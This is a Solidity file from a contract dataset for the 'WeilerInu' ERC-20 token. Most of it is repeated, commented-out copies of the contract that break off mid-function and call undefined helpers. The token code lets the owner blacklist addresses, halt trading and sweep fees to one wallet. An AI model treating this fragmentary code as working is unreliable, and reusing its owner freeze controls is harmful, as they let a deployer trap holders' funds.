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// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023. |
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// SPDX-License-Identifier: Unlicense
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/**
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革命へようこそ
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, ,
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$, $, ,
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"ss.$ss. .s'
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, .ss$$$$$$$$$$s,
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$. s$$$$$$$$$$$$$$`$$Ss
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"$$$$$$$$$$$$$$$$$$o$$$ ,
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s$$$$$$$$$$$$$$$$$$$$$$$$s, ,s
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s$$$$$$$$$"$$$$$$""""$$$$$$"$$$$$,
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s$$$$$$$$$$s""$$$$ssssss"$$$$$$$$"
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s$$$$$$$$$$' `"""ss"$"$s""
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s$$$$$$$$$$, `"""""$ .s$$s
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s$$$$$$$$$$$$s,... `s$$' `
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`ssss$$$$$$$$$$$$$$$$$$$$
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`""""$$$$$$$$$$$$$$$$$$$$#####$$$$$$" $.$'
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"$$$$$$$$$$$$$$$$$$$$$####s"" .$$$|
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"$$$$$$$$$$$$$$$$$$$$$$$$##s .$$" $
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$$""$$$$$$$$$$$$$$$$$$$$$$$$$$$$$" `
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$$" "$"$$$$$$$$$$$$$$$$$$$$S""""'
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, ," ' $$$$$$$$$$$$$$$$####s
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$. .s$$$$$$$$$$$$$$$$$####"
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$ .$$$S$$$$$$$$$$$$$$$$$$$$$$$$
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"$$sS$$$$$$$$$$$$$$$$$$$$$$$$$$$########"
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$$..$$$$$$$$$$$$$$$$$$
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$$$$$$$$$$$$#####" $, .s$$$$$$$$$$$$$$$$$$$$$$$$s.
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) $$$$$$$$$$$#####' `$$$$$$$$$
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(( $$$$$$$$$$$
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) \ $$$$$$$$$$$$
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( ) $$$$$$$$$$$$$
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) ( ( $$"$$$$$$$$$$$#####.$$$$$###' - Ryoshi's .###$$$$$$$$$$"
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( ) ) _,$" $$$$$$$$$$$$######.$$##' .###$$$$$$$$$$
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) ( ( \. "$$$$$$$$$$$$$
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( )$ ) ) ,$$$$$$$$$$$$$$$$$$
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( ($$ ( \ _sS" `"$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$S$$,
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) )$$$s ) ) . . `$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$"' `$$
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( $$$Ss/ .$, .$,,s$$$$$$##S$$$$$$$$$$$$$$$$$$$$$$$$S"" '
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\)_$$$$$$$$$$$$$$$$$$$$$$$
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`"S$$$$$$$$$$$$$$$$$
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`"""""""""""""' ' ' '
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*/
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pragma solidity ^0.8.6;
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// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
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abstract contract Context {
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function _msgSender() internal view virtual returns (address) {
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return msg.sender;
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}
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function _msgData() internal view virtual returns (bytes calldata) {
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return msg.data;
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}
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}
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// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
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abstract contract Ownable is Context {
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address private _owner;
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event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
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/**
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* @dev Initializes the contract setting the deployer as the initial owner.
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*/
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constructor() {
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_setOwner(_msgSender());
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}
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/**
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* @dev Returns the address of the current owner.
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*/
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function owner() public view virtual returns (address) {
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return _owner;
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}
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/**
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* @dev Throws if called by any account other than the owner.
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*/
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modifier onlyOwner() {
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require(owner() == _msgSender(), 'Ownable: caller is not the owner');
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_;
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}
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function renounceOwnership() public virtual onlyOwner {
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_setOwner(address(0));
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}
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function transferOwnership(address newOwner) public virtual onlyOwner {
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require(newOwner != address(0), 'Ownable: new owner is the zero address');
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_setOwner(newOwner);
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}
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function _setOwner(address newOwner) private {
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address oldOwner = _owner;
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_owner = newOwner;
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emit OwnershipTransferred(oldOwner, newOwner);
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}
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}
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/**
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abstract contract Context {
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function _msgSender() internal view virtual returns (address) {
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return msg.sender;
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}
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}
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interface IERC20 {
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function totalSupply() external view returns (uint256);
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function balanceOf(address account) external view returns (uint256);
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function transfer(address recipient, uint256 amount) external returns (bool);
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function allowance(address owner, address spender) external view returns (uint256);
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function approve(address spender, uint256 amount) external returns (bool);
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function transferFrom(
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address sender,
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address recipient,
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uint256 amount
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) external returns (bool);
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event Transfer(address indexed from, address indexed to, uint256 value);
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event Approval(
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address indexed owner,
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address indexed spender,
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uint256 value
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);
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}
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contract Ownable is Context {
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address private _owner;
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address private _previousOwner;
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event OwnershipTransferred(
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address indexed previousOwner,
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address indexed newOwner
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);
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constructor() {
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address msgSender = _msgSender();
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_owner = msgSender;
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emit OwnershipTransferred(address(0), msgSender);
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}
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function owner() public view returns (address) {
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return _owner;
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}
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modifier onlyOwner() {
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require(_owner == _msgSender(), "Ownable: caller is not the owner");
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_;
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}
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function renounceOwnership() public virtual onlyOwner {
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emit OwnershipTransferred(_owner, address(0));
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_owner = address(0);
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}
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function transferOwnership(address newOwner) public virtual onlyOwner {
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require(newOwner != address(0), "Ownable: new owner is the zero address");
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emit OwnershipTransferred(_owner, newOwner);
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_owner = newOwner;
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}
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}
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library SafeMath {
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function add(uint256 a, uint256 b) internal pure returns (uint256) {
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uint256 c = a + b;
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require(c >= a, "SafeMath: addition overflow");
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return c;
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}
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function sub(uint256 a, uint256 b) internal pure returns (uint256) {
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return sub(a, b, "SafeMath: subtraction overflow");
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}
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function sub(
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uint256 a,
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uint256 b,
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string memory errorMessage
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) internal pure returns (uint256) {
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require(b <= a, errorMessage);
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uint256 c = a - b;
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return c;
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}
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function mul(uint256 a, uint256 b) internal pure returns (uint256) {
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if (a == 0) {
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return 0;
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}
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uint256 c = a * b;
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require(c / a == b, "SafeMath: multiplication overflow");
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return c;
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}
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function div(uint256 a, uint256 b) internal pure returns (uint256) {
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return div(a, b, "SafeMath: division by zero");
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}
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function div(
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uint256 a,
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uint256 b,
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string memory errorMessage
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) internal pure returns (uint256) {
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require(b > 0, errorMessage);
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uint256 c = a / b;
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return c;
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}
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}
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interface IUniswapV2Factory {
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function createPair(address tokenA, address tokenB)
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external
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returns (address pair);
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}
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interface IUniswapV2Router02 {
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function swapExactTokensForETHSupportingFeeOnTransferTokens(
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uint256 amountIn,
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uint256 amountOutMin,
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address[] calldata path,
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address to,
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uint256 deadline
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) external;
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function factory() external pure returns (address);
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function WETH() external pure returns (address);
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function addLiquidityETH(
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address token,
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uint256 amountTokenDesired,
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uint256 amountTokenMin,
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uint256 amountETHMin,
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address to,
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uint256 deadline
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)
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external
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payable
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returns (
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uint256 amountToken,
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uint256 amountETH,
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uint256 liquidity
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);
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}
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contract WeilerInu is Context, IERC20, Ownable {
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using SafeMath for uint256;
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string private constant _name = "WeilerInu";
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string private constant _symbol = "Winu";
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uint8 private constant _decimals = 9;
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mapping(address => uint256) private _rOwned;
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mapping(address => uint256) private _tOwned;
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mapping(address => mapping(address => uint256)) private _allowances;
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mapping(address => bool) private _isExcludedFromFee;
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uint256 private constant MAX = ~uint256(0);
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uint256 private constant _tTotal = 1000000000 * 10**9;
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uint256 private _rTotal = (MAX - (MAX % _tTotal));
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uint256 private _tFeeTotal;
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uint256 private _redisFeeOnBuy = 0;
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uint256 private _taxFeeOnBuy = 4;
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uint256 private _redisFeeOnSell = 0;
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uint256 private _taxFeeOnSell = 4;
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//Original Fee
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uint256 private _redisFee = _redisFeeOnSell;
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uint256 private _taxFee = _taxFeeOnSell;
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uint256 private _previousredisFee = _redisFee;
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uint256 private _previoustaxFee = _taxFee;
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mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
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address payable private _developmentAddress = payable(0x3167626bdF9EF14ae04893D3fF7501CB38D17221);
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address payable private _marketingAddress = payable(0x3167626bdF9EF14ae04893D3fF7501CB38D17221);
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IUniswapV2Router02 public uniswapV2Router;
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address public uniswapV2Pair;
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bool private tradingOpen;
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bool private inSwap = false;
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bool private swapEnabled = true;
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uint256 public _maxTxAmount = 10000000 * 10**9;
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uint256 public _maxWalletSize = 20000000 * 10**9;
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uint256 public _swapTokensAtAmount = 10000 * 10**9;
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event MaxTxAmountUpdated(uint256 _maxTxAmount);
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modifier lockTheSwap {
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inSwap = true;
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_;
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inSwap = false;
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}
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constructor() {
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_rOwned[_msgSender()] = _rTotal;
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IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
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uniswapV2Router = _uniswapV2Router;
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uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
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.createPair(address(this), _uniswapV2Router.WETH());
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_isExcludedFromFee[owner()] = true;
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_isExcludedFromFee[address(this)] = true;
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_isExcludedFromFee[_developmentAddress] = true;
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_isExcludedFromFee[_marketingAddress] = true;
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emit Transfer(address(0), _msgSender(), _tTotal);
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}
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function name() public pure returns (string memory) {
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return _name;
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}
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function symbol() public pure returns (string memory) {
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return _symbol;
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}
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function decimals() public pure returns (uint8) {
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return _decimals;
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}
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function totalSupply() public pure override returns (uint256) {
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return _tTotal;
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}
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function balanceOf(address account) public view override returns (uint256) {
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return tokenFromReflection(_rOwned[account]);
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}
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function transfer(address recipient, uint256 amount)
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public
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override
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returns (bool)
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{
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_transfer(_msgSender(), recipient, amount);
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return true;
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}
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function allowance(address owner, address spender)
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public
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view
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override
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returns (uint256)
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{
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return _allowances[owner][spender];
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}
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function approve(address spender, uint256 amount)
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public
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override
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returns (bool)
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{
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_approve(_msgSender(), spender, amount);
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return true;
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}
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function transferFrom(
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address sender,
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address recipient,
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uint256 amount
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) public override returns (bool) {
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_transfer(sender, recipient, amount);
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_approve(
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sender,
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_msgSender(),
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_allowances[sender][_msgSender()].sub(
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amount,
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"ERC20: transfer amount exceeds allowance"
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)
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);
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return true;
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}
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function tokenFromReflection(uint256 rAmount)
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private
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view
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returns (uint256)
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{
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require(
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rAmount <= _rTotal,
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"Amount must be less than total reflections"
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);
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uint256 currentRate = _getRate();
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return rAmount.div(currentRate);
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}
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function removeAllFee() private {
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if (_redisFee == 0 && _taxFee == 0) return;
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_previousredisFee = _redisFee;
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_previoustaxFee = _taxFee;
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_redisFee = 0;
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_taxFee = 0;
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}
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function restoreAllFee() private {
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_redisFee = _previousredisFee;
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_taxFee = _previoustaxFee;
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}
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function _approve(
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address owner,
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address spender,
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uint256 amount
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) private {
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require(owner != address(0), "ERC20: approve from the zero address");
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require(spender != address(0), "ERC20: approve to the zero address");
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_allowances[owner][spender] = amount;
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emit Approval(owner, spender, amount);
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}
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function _transfer(
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address from,
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address to,
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uint256 amount
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) private {
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require(from != address(0), "ERC20: transfer from the zero address");
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require(to != address(0), "ERC20: transfer to the zero address");
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require(amount > 0, "Transfer amount must be greater than zero");
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if (from != owner() && to != owner()) {
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//Trade start check
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if (!tradingOpen) {
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require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
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}
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require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
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require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
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if(to != uniswapV2Pair) {
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require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
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}
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uint256 contractTokenBalance = balanceOf(address(this));
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bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
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if(contractTokenBalance >= _maxTxAmount)
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{
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contractTokenBalance = _maxTxAmount;
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}
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if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
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swapTokensForEth(contractTokenBalance);
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uint256 contractETHBalance = address(this).balance;
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if (contractETHBalance > 0) {
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sendETHToFee(address(this).balance);
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}
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}
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}
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bool takeFee = true;
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//Transfer Tokens
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if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
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takeFee = false;
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} else {
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//Set Fee for Buys
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if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
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_redisFee = _redisFeeOnBuy;
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_taxFee = _taxFeeOnBuy;
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}
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//Set Fee for Sells
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if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
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_redisFee = _redisFeeOnSell;
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_taxFee = _taxFeeOnSell;
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}
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}
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_tokenTransfer(from, to, amount, takeFee);
|
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}
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|
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function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
|
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address[] memory path = new address[](2);
|
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path[0] = address(this);
|
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path[1] = uniswapV2Router.WETH();
|
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_approve(address(this), address(uniswapV2Router), tokenAmount);
|
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uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
|
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tokenAmount,
|
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0,
|
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path,
|
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address(this),
|
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block.timestamp
|
|
);
|
|
}
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|
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function sendETHToFee(uint256 amount) private {
|
|
_marketingAddress.transfer(amount);
|
|
}
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|
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function setTrading(bool _tradingOpen) public onlyOwner {
|
|
tradingOpen = _tradingOpen;
|
|
}
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|
|
function manualswap() external {
|
|
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
|
|
uint256 contractBalance = balanceOf(address(this));
|
|
swapTokensForEth(contractBalance);
|
|
}
|
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|
|
function manualsend() external {
|
|
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
|
|
uint256 contractETHBalance = address(this).balance;
|
|
sendETHToFee(contractETHBalance);
|
|
}
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|
|
function blockBots(address[] memory bots_) public onlyOwner {
|
|
for (uint256 i = 0; i < bots_.length; i++) {
|
|
bots[bots_[i]] = true;
|
|
}
|
|
}
|
|
|
|
function unblockBot(address notbot) public onlyOwner {
|
|
bots[notbot] = false;
|
|
}
|
|
|
|
|
|
}
|
|
|
|
*/
|
|
|
|
/**
|
|
|
|
abstract contract Context {
|
|
function _msgSender() internal view virtual returns (address) {
|
|
return msg.sender;
|
|
}
|
|
}
|
|
|
|
interface IERC20 {
|
|
function totalSupply() external view returns (uint256);
|
|
|
|
function balanceOf(address account) external view returns (uint256);
|
|
|
|
function transfer(address recipient, uint256 amount) external returns (bool);
|
|
|
|
function allowance(address owner, address spender) external view returns (uint256);
|
|
|
|
function approve(address spender, uint256 amount) external returns (bool);
|
|
|
|
function transferFrom(
|
|
address sender,
|
|
address recipient,
|
|
uint256 amount
|
|
) external returns (bool);
|
|
|
|
event Transfer(address indexed from, address indexed to, uint256 value);
|
|
event Approval(
|
|
address indexed owner,
|
|
address indexed spender,
|
|
uint256 value
|
|
);
|
|
}
|
|
|
|
contract Ownable is Context {
|
|
address private _owner;
|
|
address private _previousOwner;
|
|
event OwnershipTransferred(
|
|
address indexed previousOwner,
|
|
address indexed newOwner
|
|
);
|
|
|
|
constructor() {
|
|
address msgSender = _msgSender();
|
|
_owner = msgSender;
|
|
emit OwnershipTransferred(address(0), msgSender);
|
|
}
|
|
|
|
function owner() public view returns (address) {
|
|
return _owner;
|
|
}
|
|
|
|
modifier onlyOwner() {
|
|
require(_owner == _msgSender(), "Ownable: caller is not the owner");
|
|
_;
|
|
}
|
|
|
|
function renounceOwnership() public virtual onlyOwner {
|
|
emit OwnershipTransferred(_owner, address(0));
|
|
_owner = address(0);
|
|
}
|
|
|
|
function transferOwnership(address newOwner) public virtual onlyOwner {
|
|
require(newOwner != address(0), "Ownable: new owner is the zero address");
|
|
emit OwnershipTransferred(_owner, newOwner);
|
|
_owner = newOwner;
|
|
}
|
|
|
|
}
|
|
|
|
library SafeMath {
|
|
function add(uint256 a, uint256 b) internal pure returns (uint256) {
|
|
uint256 c = a + b;
|
|
require(c >= a, "SafeMath: addition overflow");
|
|
return c;
|
|
}
|
|
|
|
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
|
|
return sub(a, b, "SafeMath: subtraction overflow");
|
|
}
|
|
|
|
function sub(
|
|
uint256 a,
|
|
uint256 b,
|
|
string memory errorMessage
|
|
) internal pure returns (uint256) {
|
|
require(b <= a, errorMessage);
|
|
uint256 c = a - b;
|
|
return c;
|
|
}
|
|
|
|
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
|
|
if (a == 0) {
|
|
return 0;
|
|
}
|
|
uint256 c = a * b;
|
|
require(c / a == b, "SafeMath: multiplication overflow");
|
|
return c;
|
|
}
|
|
|
|
function div(uint256 a, uint256 b) internal pure returns (uint256) {
|
|
return div(a, b, "SafeMath: division by zero");
|
|
}
|
|
|
|
function div(
|
|
uint256 a,
|
|
uint256 b,
|
|
string memory errorMessage
|
|
) internal pure returns (uint256) {
|
|
require(b > 0, errorMessage);
|
|
uint256 c = a / b;
|
|
return c;
|
|
}
|
|
}
|
|
|
|
interface IUniswapV2Factory {
|
|
function createPair(address tokenA, address tokenB)
|
|
external
|
|
returns (address pair);
|
|
}
|
|
|
|
interface IUniswapV2Router02 {
|
|
function swapExactTokensForETHSupportingFeeOnTransferTokens(
|
|
uint256 amountIn,
|
|
uint256 amountOutMin,
|
|
address[] calldata path,
|
|
address to,
|
|
uint256 deadline
|
|
) external;
|
|
|
|
function factory() external pure returns (address);
|
|
|
|
function WETH() external pure returns (address);
|
|
|
|
function addLiquidityETH(
|
|
address token,
|
|
uint256 amountTokenDesired,
|
|
uint256 amountTokenMin,
|
|
uint256 amountETHMin,
|
|
address to,
|
|
uint256 deadline
|
|
)
|
|
external
|
|
payable
|
|
returns (
|
|
uint256 amountToken,
|
|
uint256 amountETH,
|
|
uint256 liquidity
|
|
);
|
|
}
|
|
|
|
contract WeilerInu is Context, IERC20, Ownable {
|
|
|
|
using SafeMath for uint256;
|
|
|
|
string private constant _name = "WeilerInu";
|
|
string private constant _symbol = "Winu";
|
|
uint8 private constant _decimals = 9;
|
|
|
|
mapping(address => uint256) private _rOwned;
|
|
mapping(address => uint256) private _tOwned;
|
|
mapping(address => mapping(address => uint256)) private _allowances;
|
|
mapping(address => bool) private _isExcludedFromFee;
|
|
uint256 private constant MAX = ~uint256(0);
|
|
uint256 private constant _tTotal = 1000000000 * 10**9;
|
|
uint256 private _rTotal = (MAX - (MAX % _tTotal));
|
|
uint256 private _tFeeTotal;
|
|
uint256 private _redisFeeOnBuy = 0;
|
|
uint256 private _taxFeeOnBuy = 4;
|
|
uint256 private _redisFeeOnSell = 0;
|
|
uint256 private _taxFeeOnSell = 4;
|
|
|
|
//Original Fee
|
|
uint256 private _redisFee = _redisFeeOnSell;
|
|
uint256 private _taxFee = _taxFeeOnSell;
|
|
|
|
uint256 private _previousredisFee = _redisFee;
|
|
uint256 private _previoustaxFee = _taxFee;
|
|
|
|
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
|
|
address payable private _developmentAddress = payable(0x3167626bdF9EF14ae04893D3fF7501CB38D17221);
|
|
address payable private _marketingAddress = payable(0x3167626bdF9EF14ae04893D3fF7501CB38D17221);
|
|
|
|
IUniswapV2Router02 public uniswapV2Router;
|
|
address public uniswapV2Pair;
|
|
|
|
bool private tradingOpen;
|
|
bool private inSwap = false;
|
|
bool private swapEnabled = true;
|
|
|
|
uint256 public _maxTxAmount = 10000000 * 10**9;
|
|
uint256 public _maxWalletSize = 20000000 * 10**9;
|
|
uint256 public _swapTokensAtAmount = 10000 * 10**9;
|
|
|
|
event MaxTxAmountUpdated(uint256 _maxTxAmount);
|
|
modifier lockTheSwap {
|
|
inSwap = true;
|
|
_;
|
|
inSwap = false;
|
|
}
|
|
|
|
constructor() {
|
|
|
|
_rOwned[_msgSender()] = _rTotal;
|
|
|
|
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
|
|
uniswapV2Router = _uniswapV2Router;
|
|
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
|
|
.createPair(address(this), _uniswapV2Router.WETH());
|
|
|
|
_isExcludedFromFee[owner()] = true;
|
|
_isExcludedFromFee[address(this)] = true;
|
|
_isExcludedFromFee[_developmentAddress] = true;
|
|
_isExcludedFromFee[_marketingAddress] = true;
|
|
|
|
emit Transfer(address(0), _msgSender(), _tTotal);
|
|
}
|
|
|
|
function name() public pure returns (string memory) {
|
|
return _name;
|
|
}
|
|
|
|
function symbol() public pure returns (string memory) {
|
|
return _symbol;
|
|
}
|
|
|
|
function decimals() public pure returns (uint8) {
|
|
return _decimals;
|
|
}
|
|
|
|
function totalSupply() public pure override returns (uint256) {
|
|
return _tTotal;
|
|
}
|
|
|
|
function balanceOf(address account) public view override returns (uint256) {
|
|
return tokenFromReflection(_rOwned[account]);
|
|
}
|
|
|
|
function transfer(address recipient, uint256 amount)
|
|
public
|
|
override
|
|
returns (bool)
|
|
{
|
|
_transfer(_msgSender(), recipient, amount);
|
|
return true;
|
|
}
|
|
|
|
function allowance(address owner, address spender)
|
|
public
|
|
view
|
|
override
|
|
returns (uint256)
|
|
{
|
|
return _allowances[owner][spender];
|
|
}
|
|
|
|
function approve(address spender, uint256 amount)
|
|
public
|
|
override
|
|
returns (bool)
|
|
{
|
|
_approve(_msgSender(), spender, amount);
|
|
return true;
|
|
}
|
|
|
|
function transferFrom(
|
|
address sender,
|
|
address recipient,
|
|
uint256 amount
|
|
) public override returns (bool) {
|
|
_transfer(sender, recipient, amount);
|
|
_approve(
|
|
sender,
|
|
_msgSender(),
|
|
_allowances[sender][_msgSender()].sub(
|
|
amount,
|
|
"ERC20: transfer amount exceeds allowance"
|
|
)
|
|
);
|
|
return true;
|
|
}
|
|
|
|
function tokenFromReflection(uint256 rAmount)
|
|
private
|
|
view
|
|
returns (uint256)
|
|
{
|
|
require(
|
|
rAmount <= _rTotal,
|
|
"Amount must be less than total reflections"
|
|
);
|
|
uint256 currentRate = _getRate();
|
|
return rAmount.div(currentRate);
|
|
}
|
|
|
|
function removeAllFee() private {
|
|
if (_redisFee == 0 && _taxFee == 0) return;
|
|
|
|
_previousredisFee = _redisFee;
|
|
_previoustaxFee = _taxFee;
|
|
|
|
_redisFee = 0;
|
|
_taxFee = 0;
|
|
}
|
|
|
|
function restoreAllFee() private {
|
|
_redisFee = _previousredisFee;
|
|
_taxFee = _previoustaxFee;
|
|
}
|
|
|
|
function _approve(
|
|
address owner,
|
|
address spender,
|
|
uint256 amount
|
|
) private {
|
|
require(owner != address(0), "ERC20: approve from the zero address");
|
|
require(spender != address(0), "ERC20: approve to the zero address");
|
|
_allowances[owner][spender] = amount;
|
|
emit Approval(owner, spender, amount);
|
|
}
|
|
|
|
function _transfer(
|
|
address from,
|
|
address to,
|
|
uint256 amount
|
|
) private {
|
|
require(from != address(0), "ERC20: transfer from the zero address");
|
|
require(to != address(0), "ERC20: transfer to the zero address");
|
|
require(amount > 0, "Transfer amount must be greater than zero");
|
|
|
|
if (from != owner() && to != owner()) {
|
|
|
|
|
|
}
|
|
|
|
*/
|
|
|
|
interface IUniswapV2Factory {
|
|
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
|
|
|
|
function feeTo() external view returns (address);
|
|
function feeToSetter() external view returns (address);
|
|
|
|
function getPair(address tokenA, address tokenB) external view returns (address pair);
|
|
function allPairs(uint) external view returns (address pair);
|
|
function allPairsLength() external view returns (uint);
|
|
|
|
function createPair(address tokenA, address tokenB) external returns (address pair);
|
|
|
|
function setFeeTo(address) external;
|
|
function setFeeToSetter(address) external;
|
|
}
|
|
|
|
/**
|
|
|
|
abstract contract Context {
|
|
function _msgSender() internal view virtual returns (address) {
|
|
return msg.sender;
|
|
}
|
|
}
|
|
|
|
interface IERC20 {
|
|
function totalSupply() external view returns (uint256);
|
|
|
|
function balanceOf(address account) external view returns (uint256);
|
|
|
|
function transfer(address recipient, uint256 amount) external returns (bool);
|
|
|
|
function allowance(address owner, address spender) external view returns (uint256);
|
|
|
|
function approve(address spender, uint256 amount) external returns (bool);
|
|
|
|
function transferFrom(
|
|
address sender,
|
|
address recipient,
|
|
uint256 amount
|
|
) external returns (bool);
|
|
|
|
event Transfer(address indexed from, address indexed to, uint256 value);
|
|
event Approval(
|
|
address indexed owner,
|
|
address indexed spender,
|
|
uint256 value
|
|
);
|
|
}
|
|
|
|
contract Ownable is Context {
|
|
address private _owner;
|
|
address private _previousOwner;
|
|
event OwnershipTransferred(
|
|
address indexed previousOwner,
|
|
address indexed newOwner
|
|
);
|
|
|
|
constructor() {
|
|
address msgSender = _msgSender();
|
|
_owner = msgSender;
|
|
emit OwnershipTransferred(address(0), msgSender);
|
|
}
|
|
|
|
function owner() public view returns (address) {
|
|
return _owner;
|
|
}
|
|
|
|
modifier onlyOwner() {
|
|
require(_owner == _msgSender(), "Ownable: caller is not the owner");
|
|
_;
|
|
}
|
|
|
|
function renounceOwnership() public virtual onlyOwner {
|
|
emit OwnershipTransferred(_owner, address(0));
|
|
_owner = address(0);
|
|
}
|
|
|
|
function transferOwnership(address newOwner) public virtual onlyOwner {
|
|
require(newOwner != address(0), "Ownable: new owner is the zero address");
|
|
emit OwnershipTransferred(_owner, newOwner);
|
|
_owner = newOwner;
|
|
}
|
|
|
|
}
|
|
|
|
library SafeMath {
|
|
function add(uint256 a, uint256 b) internal pure returns (uint256) {
|
|
uint256 c = a + b;
|
|
require(c >= a, "SafeMath: addition overflow");
|
|
return c;
|
|
}
|
|
|
|
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
|
|
return sub(a, b, "SafeMath: subtraction overflow");
|
|
}
|
|
|
|
function sub(
|
|
uint256 a,
|
|
uint256 b,
|
|
string memory errorMessage
|
|
) internal pure returns (uint256) {
|
|
require(b <= a, errorMessage);
|
|
uint256 c = a - b;
|
|
return c;
|
|
}
|
|
|
|
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
|
|
if (a == 0) {
|
|
return 0;
|
|
}
|
|
uint256 c = a * b;
|
|
require(c / a == b, "SafeMath: multiplication overflow");
|
|
return c;
|
|
}
|
|
|
|
function div(uint256 a, uint256 b) internal pure returns (uint256) {
|
|
return div(a, b, "SafeMath: division by zero");
|
|
}
|
|
|
|
function div(
|
|
uint256 a,
|
|
uint256 b,
|
|
string memory errorMessage
|
|
) internal pure returns (uint256) {
|
|
require(b > 0, errorMessage);
|
|
uint256 c = a / b;
|
|
return c;
|
|
}
|
|
}
|
|
|
|
interface IUniswapV2Factory {
|
|
function createPair(address tokenA, address tokenB)
|
|
external
|
|
returns (address pair);
|
|
}
|
|
|
|
interface IUniswapV2Router02 {
|
|
function swapExactTokensForETHSupportingFeeOnTransferTokens(
|
|
uint256 amountIn,
|
|
uint256 amountOutMin,
|
|
address[] calldata path,
|
|
address to,
|
|
uint256 deadline
|
|
) external;
|
|
|
|
function factory() external pure returns (address);
|
|
|
|
function WETH() external pure returns (address);
|
|
|
|
function addLiquidityETH(
|
|
address token,
|
|
uint256 amountTokenDesired,
|
|
uint256 amountTokenMin,
|
|
uint256 amountETHMin,
|
|
address to,
|
|
uint256 deadline
|
|
)
|
|
external
|
|
payable
|
|
returns (
|
|
uint256 amountToken,
|
|
uint256 amountETH,
|
|
uint256 liquidity
|
|
);
|
|
}
|
|
|
|
contract WeilerInu is Context, IERC20, Ownable {
|
|
|
|
using SafeMath for uint256;
|
|
|
|
string private constant _name = "WeilerInu";
|
|
string private constant _symbol = "Winu";
|
|
uint8 private constant _decimals = 9;
|
|
|
|
mapping(address => uint256) private _rOwned;
|
|
mapping(address => uint256) private _tOwned;
|
|
mapping(address => mapping(address => uint256)) private _allowances;
|
|
mapping(address => bool) private _isExcludedFromFee;
|
|
uint256 private constant MAX = ~uint256(0);
|
|
uint256 private constant _tTotal = 1000000000 * 10**9;
|
|
uint256 private _rTotal = (MAX - (MAX % _tTotal));
|
|
uint256 private _tFeeTotal;
|
|
uint256 private _redisFeeOnBuy = 0;
|
|
uint256 private _taxFeeOnBuy = 4;
|
|
uint256 private _redisFeeOnSell = 0;
|
|
uint256 private _taxFeeOnSell = 4;
|
|
|
|
//Original Fee
|
|
uint256 private _redisFee = _redisFeeOnSell;
|
|
uint256 private _taxFee = _taxFeeOnSell;
|
|
|
|
uint256 private _previousredisFee = _redisFee;
|
|
uint256 private _previoustaxFee = _taxFee;
|
|
|
|
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
|
|
address payable private _developmentAddress = payable(0x3167626bdF9EF14ae04893D3fF7501CB38D17221);
|
|
address payable private _marketingAddress = payable(0x3167626bdF9EF14ae04893D3fF7501CB38D17221);
|
|
|
|
IUniswapV2Router02 public uniswapV2Router;
|
|
address public uniswapV2Pair;
|
|
|
|
bool private tradingOpen;
|
|
bool private inSwap = false;
|
|
bool private swapEnabled = true;
|
|
|
|
uint256 public _maxTxAmount = 10000000 * 10**9;
|
|
uint256 public _maxWalletSize = 20000000 * 10**9;
|
|
uint256 public _swapTokensAtAmount = 10000 * 10**9;
|
|
|
|
event MaxTxAmountUpdated(uint256 _maxTxAmount);
|
|
modifier lockTheSwap {
|
|
inSwap = true;
|
|
_;
|
|
inSwap = false;
|
|
}
|
|
|
|
constructor() {
|
|
|
|
_rOwned[_msgSender()] = _rTotal;
|
|
|
|
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
|
|
uniswapV2Router = _uniswapV2Router;
|
|
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
|
|
.createPair(address(this), _uniswapV2Router.WETH());
|
|
|
|
_isExcludedFromFee[owner()] = true;
|
|
_isExcludedFromFee[address(this)] = true;
|
|
_isExcludedFromFee[_developmentAddress] = true;
|
|
_isExcludedFromFee[_marketingAddress] = true;
|
|
|
|
emit Transfer(address(0), _msgSender(), _tTotal);
|
|
}
|
|
|
|
function name() public pure returns (string memory) {
|
|
return _name;
|
|
}
|
|
|
|
function symbol() public pure returns (string memory) {
|
|
return _symbol;
|
|
}
|
|
|
|
function decimals() public pure returns (uint8) {
|
|
return _decimals;
|
|
}
|
|
|
|
function totalSupply() public pure override returns (uint256) {
|
|
return _tTotal;
|
|
}
|
|
|
|
function balanceOf(address account) public view override returns (uint256) {
|
|
return tokenFromReflection(_rOwned[account]);
|
|
}
|
|
|
|
function transfer(address recipient, uint256 amount)
|
|
public
|
|
override
|
|
returns (bool)
|
|
{
|
|
_transfer(_msgSender(), recipient, amount);
|
|
return true;
|
|
}
|
|
|
|
function allowance(address owner, address spender)
|
|
public
|
|
view
|
|
override
|
|
returns (uint256)
